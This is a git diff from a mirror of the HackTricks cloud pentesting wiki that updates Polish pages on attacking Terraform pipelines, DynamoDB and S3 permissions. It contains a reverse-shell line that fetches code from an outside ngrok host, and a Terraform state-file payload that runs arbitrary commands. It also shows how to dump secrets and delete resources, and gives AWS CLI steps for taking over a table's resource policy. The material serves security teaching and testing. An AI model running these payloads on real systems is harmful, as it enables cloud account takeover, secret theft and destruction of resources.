mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 14:50:51 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
|
||||
#### Jak działa Terraform?
|
||||
|
||||
@@ -14,7 +14,7 @@ Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługa
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Możesz znaleźć wszystkich publicznie dostępnych dostawców w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
|
||||
HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
|
||||
|
||||
Podstawowy przepływ pracy Terraform składa się z trzech etapów:
|
||||
|
||||
@@ -30,13 +30,13 @@ Po prostu zainstaluj terraform na swoim komputerze.
|
||||
|
||||
Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE w Terraform
|
||||
## RCE w Terraform: złośliwe modyfikacje pliku konfiguracyjnego
|
||||
|
||||
Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy zenumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
|
||||
Terraform **nie ma platformy, która udostępniałaby stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform** lub **możliwość modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
|
||||
|
||||
Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
|
||||
|
||||
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
|
||||
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprymowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
|
||||
|
||||
W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
|
||||
|
||||
@@ -48,7 +48,7 @@ Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, ab
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
|
||||
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
|
||||
|
||||
**Używając zewnętrznego dostawcy**
|
||||
|
||||
@@ -75,7 +75,7 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany
|
||||
Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany.
|
||||
|
||||
Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
|
||||
|
||||
## Zrzuty sekretów
|
||||
|
||||
Możesz uzyskać **zrzut wartości sekretów używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
|
||||
Możesz uzyskać **wartości sekretów używanych przez terraform** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
@@ -124,13 +124,41 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Wykorzystywanie plików stanu Terraform
|
||||
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku:
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
|
||||
|
||||
### RCE w Terraform: złośliwe modyfikowanie pliku konfiguracyjnego
|
||||
|
||||
Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy.
|
||||
|
||||
Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie proces `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełną demonstrację można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Wtedy, gdy `terraform` zostanie wykonany, twój kod zostanie uruchomiony.
|
||||
|
||||
### Usuwanie zasobów <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Istnieją 2 sposoby na zniszczenie zasobów:
|
||||
|
||||
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia**
|
||||
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
|
||||
|
||||
Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
|
||||
```json
|
||||
@@ -150,24 +178,9 @@ Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgod
|
||||
```
|
||||
2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)**
|
||||
|
||||
Dla instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
|
||||
W przypadku instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
|
||||
|
||||
### RCE
|
||||
|
||||
Możliwe jest również [utworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie pustego zasobu z złośliwym dostawcą. Przykład z oryginalnych badań:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
},
|
||||
```
|
||||
### Zastąpienie zablokowanego dostawcy
|
||||
### Zastąp zablokowanego dostawcę
|
||||
|
||||
W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.
|
||||
```terraform
|
||||
@@ -195,7 +208,7 @@ Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC)
|
||||
- **Funkcje:**
|
||||
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
|
||||
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
|
||||
- Automatyczne pull requesty z poprawkami.
|
||||
- Zautomatyzowane prośby o poprawki.
|
||||
- Szczegółowe porady dotyczące usuwania problemów.
|
||||
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -208,26 +221,26 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
|
||||
|
||||
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością, korzystając z skanowania opartego na grafach.
|
||||
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością za pomocą skanowania opartego na grafach.
|
||||
|
||||
Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
|
||||
Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanowaniem pakietów open source i obrazów w poszukiwaniu powszechnych luk w zabezpieczeniach (CVE).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, umożliwiające negatywne testowanie twojej infrastruktury jako kodu.
|
||||
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
|
||||
|
||||
- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
|
||||
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
|
||||
- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
|
||||
- **rozwój oparty na zachowaniu:** Mamy BDD dla prawie wszystkiego, dlaczego nie dla IaC?
|
||||
- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
|
||||
- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
|
||||
- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
|
||||
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół.
|
||||
- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
|
||||
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
|
||||
|
||||
> [!NOTE]
|
||||
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
|
||||
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -245,7 +258,7 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje
|
||||
- 🔗 Ocenia relacje między zasobami Terraform
|
||||
- 🧰 Kompatybilny z Terraform CDK
|
||||
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
|
||||
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
|
||||
```bash
|
||||
@@ -254,17 +267,17 @@ tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju twojej infrastruktury jako kodu z **KICS** od Checkmarx.
|
||||
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
|
||||
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu opartego na chmurze.
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
|
||||
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:
|
||||
|
||||
- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
|
||||
- Bezproblemowe skanowanie infrastruktury jako kodu w poszukiwaniu błędnych konfiguracji.
|
||||
- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
|
||||
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
|
||||
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
|
||||
@@ -278,5 +291,6 @@ brew install terrascan
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,14 +10,63 @@ Aby uzyskać więcej informacji na temat dynamodb, sprawdź:
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:PutResourcePolicy`, a opcjonalnie `dynamodb:GetResourcePolicy`
|
||||
|
||||
Od marca 2024 roku AWS oferuje *polityki oparte na zasobach* dla DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
|
||||
|
||||
Więc, jeśli masz `dynamodb:PutResourcePolicy` dla tabeli, możesz po prostu przyznać sobie lub innemu podmiotowi pełny dostęp do tabeli.
|
||||
|
||||
Przyznawanie `dynamodb:PutResourcePolicy` losowemu podmiotowi często zdarza się przypadkowo, jeśli administratorzy myślą, że przyznanie `dynamodb:Put*` pozwoli tylko na dodawanie elementów do bazy danych - lub jeśli przyznali ten zestaw uprawnień przed marcem 2024...
|
||||
|
||||
Idealnie, powinieneś również mieć `dynamodb:GetResourcePolicy`, aby nie nadpisywać innych potencjalnie istotnych uprawnień, ale tylko wstrzykiwać dodatkowe uprawnienia, których potrzebujesz:
|
||||
```bash
|
||||
# get the current resource based policy (if it exists) and save it to a file
|
||||
aws dynamodb get-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--query 'Policy' \
|
||||
--output text > policy.json
|
||||
```
|
||||
Jeśli nie możesz pobrać bieżącej polityki, po prostu użyj tej, która przyznaje pełny dostęp do tabeli dla twojego podmiotu:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "FullAccessToDynamoDBTable",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
|
||||
},
|
||||
"Action": [
|
||||
"dynamodb:*"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Jeśli musisz dostosować, oto lista wszystkich możliwych akcji DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). A oto lista wszystkich akcji, które mogą być dozwolone za pomocą polityki opartej na zasobach *ORAZ które z nich mogą być używane między kontami (pomyśl o exfiltracji danych!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
|
||||
|
||||
Teraz, mając dokument polityki `policy.json` gotowy, wprowadź politykę zasobów:
|
||||
```bash
|
||||
# put the new policy using the prepared policy file
|
||||
# dynamodb does weirdly not allow a direct file upload
|
||||
aws dynamodb put-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--policy "$(cat policy.json)"
|
||||
```
|
||||
Teraz powinieneś mieć potrzebne uprawnienia.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**:
|
||||
Z tego, co wiem, **nie ma innego bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Czytaj dane, nadużywając strumieni danych
|
||||
### TODO: Czytaj dane, wykorzystując strumienie danych
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -34,7 +34,7 @@ Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o naz
|
||||
]
|
||||
}
|
||||
```
|
||||
I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejąć** **zawartość** tego **koszyka**.
|
||||
I możliwe jest przejęcie, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy wysłane zostanie powiadomienie o koszyku**, i **przejąć** **zawartość** tego **koszyka**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -44,15 +44,28 @@ Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecu
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\
|
||||
Atakujący z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
|
||||
Atakujący z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
|
||||
Napastnik z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
|
||||
Napastnik z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
|
||||
Oto kilka przykładów:
|
||||
|
||||
- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, atakujący mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.
|
||||
- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, napastnik mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (opcjonalnie) nad plikiem stanu terraform
|
||||
|
||||
Bardzo często pliki stanu [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) są zapisywane w magazynie blob dostawców chmury, np. AWS S3. Sufiks pliku dla pliku stanu to `.tfstate`, a nazwy koszyków często również wskazują, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma jeden taki koszyk do przechowywania plików stanu, które pokazują stan konta.\
|
||||
Również zazwyczaj, w rzeczywistych kontach prawie zawsze wszyscy deweloperzy mają `s3:*`, a czasami nawet użytkownicy biznesowi mają `s3:Put*`.
|
||||
|
||||
Więc, jeśli masz uprawnienia wymienione nad tymi plikami, istnieje wektor ataku, który pozwala ci uzyskać RCE w pipeline z uprawnieniami `terraform` - najczęściej `AdministratorAccess`, co czyni cię administratorem konta w chmurze. Możesz również użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie legalne zasoby.
|
||||
|
||||
Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* na stronie *Terraform Security* w celu uzyskania bezpośrednio używalnego kodu exploit:
|
||||
|
||||
{{#ref}}
|
||||
terraform-security.md#abusing-terraform-state-files
|
||||
{{#endref}}
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Atakujący, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków.
|
||||
Napastnik, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
|
||||
Reference in New Issue
Block a user